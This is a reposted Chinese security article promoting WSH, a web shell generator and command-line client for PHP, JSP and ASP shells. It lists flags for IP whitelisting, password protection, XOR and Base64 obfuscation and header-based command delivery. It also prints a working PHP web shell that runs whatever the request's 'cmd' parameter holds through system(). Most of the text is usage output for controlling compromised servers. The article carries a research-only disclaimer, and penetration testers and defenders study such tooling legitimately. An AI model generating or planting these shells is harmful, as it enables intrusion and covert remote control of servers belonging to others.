WSH:一款功能强大的Web Shell生成器和命令行接口工具
2022-10-4 09:13:14 Author: 黑白之道(查看原文) 阅读量:12 收藏

 关于WSH 

WSH是一款功能强大的Web Shell生成器和命令行接口工具。我们考虑到只用一个HTTP客户端来跟Webshell交互其实是一件很痛苦的事,我们需要在表格中输入命令,然后再点各种按钮。因此,我们开发出了WSH,我们可以轻松将其嵌入到我们的工作流中,并在命令行终端运行。
WSH的客户端支持命令历史记录和日志记录功能,并且可以跟以前部署的标准Webshell交互。生成器使用了PHP、ASP和JSP来创建Webshell。它们使用随机变量生成,因此每一个都拥有单独的哈希。它们可以使用白名单或密码进行配置,并允许通过自定义Header和参数进行发送。
生成器和客户端可以通过命令行参数或配置文件来进行配置,以允许我们保存适合自己的配置,而无需进行额外多次配置。配置后,客户端和生成器将使用相同的配置文件。

 功能介绍 

  • 通过命令行跟部署的Webshell交互;
  • 日志记录;
  • 使用PHP、JSP和ASP生成Webshell;
  • IP白名单;
  • 密码保护;
  • 通过自定义Header和参数发送命令;
  • 文件上传/下载;
  • 针对ASP或PHP版本的Webshell进行Base64编码;
  • 针对ASP或PHP版本的Webshell进行异或加密;

 工具下载 

广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/EatonChips/wsh.git

(向右滑动,查看更多

 工具使用 

连接

wsh <URL> [flags]
-X, --method string HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
--param string Parameter for sending command
--header string Header for sending command
-P, --params strings HTTP request parameters
-H, --headers strings HTTP request headers
-c, --config string Config file
-k, --ignore-ssl Ignore invalid certs
--log string Log file
--prefix string Prepend command: 'cmd /c', 'powershell.exe', 'bash'
--timeout int Request timeout in seconds (default 10)
--trim-prefix string Trim output prefix
--trim-suffix string Trim output suffix
-h, --help help for wsh

(向右滑动,查看更多

生成

wsh generate <language> [flags]
wsh g <language> [flags]

-X, --method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string Parameter for sending command
--header string Header for sending command
-w, --whitelist strings IP addresses to whitelist
-o, --outfile string Output file
--no-file Disable file upload/download capabilities
--pass string Password protect shell
--pass-header string Header for sending password
--pass-param string Parameter for sending password
--xor-header string Header for sending xor key
--xor-key string Key for xor encryption
--xor-param string Parameter for sending xor key
--base64 Base64 encode shell
--minify Minify webshell code
-t, --template string Webshell template file
-h, --help help for generate

(向右滑动,查看更多

客户端使用/文件IO

WSH中所有Webshell都需要实现相同的上传/下载逻辑:
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] Download file
put <local filepath> [remote filepath] Upload file
clear Clear screen
exit
exit                      Exits shell
           (向右滑动,查看更多

 生成器样例 

简单的Shell

列命令可以生成一个简单的PHP Webshell,并跟其进行交互:
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
(向右滑动,查看更多
我们还可以通过HTTP Header来发送命令:
$ wsh generate php --no-file --header user-agent  -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent

(向右滑动,查看更多

白名单设置

$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
(向右滑动,查看更多

密码保护

我们还可以通过Header或参数来发送密码:
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

(向右滑动,查看更多)

 项目地址 

WSH:https://github.com/EatonChips/wsh

文章来源:freebuf.com

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650553206&idx=4&sn=6c4848f8b11e85bba6b9601fb26ca92b&chksm=83bd5e92b4cad7848a0d11ebc2d8745ab48c92e4cac0a63e8684f442b0539c78b0f0e7fd0cab#rd
如有侵权请联系:admin#unsafe.sh